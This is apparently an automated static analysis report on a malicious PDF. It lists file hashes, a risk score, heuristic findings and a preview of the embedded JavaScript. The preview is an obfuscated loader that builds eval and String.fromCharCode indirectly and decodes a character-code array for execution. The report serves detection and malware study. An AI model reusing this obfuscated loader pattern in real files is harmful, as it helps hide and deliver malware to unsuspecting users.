Malicious PDF — malware analysis report

Static analysis result for SHA-256 4fdefacea98a488f…

MALICIOUS

PDF

45.3 KB Authoring application: substr First seen: 2026-05-08
MD5: 26cd9eaaf98932a02e211f1a5635aed4 SHA-1: 5679bc2fbf52995b0fe521cb9c953bec435da933 SHA-256: 4fdefacea98a488f32f46135c0017dd429c535a1b8be6a2e43789fd55485fdec
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious actions, such as downloading a second-stage payload or exploiting a vulnerability, although the specific actions are not detailed in the provided evidence. The file type and the ML score point towards a malicious PDF.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB288 474 bytes
SHA-256: e2831ace1e4eb98d8c993630a91d64259e7380852008be7788a16007875e3244
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('|','a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[2],t[0]);
e=v[v]()[s];
qlrxt=e(v[4]+'i'.concat(v[4],t));
q=qlrxt[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.fro';
d+=q;
hnl=e(d);
q=qlrxt[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en'+'gth')];
i=t.length-2;
while(i<k){
	njz = 1*(q[i]);
	i++;
	njz -= (-1)*(q[i]);
	s2 += hnl(njz);
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.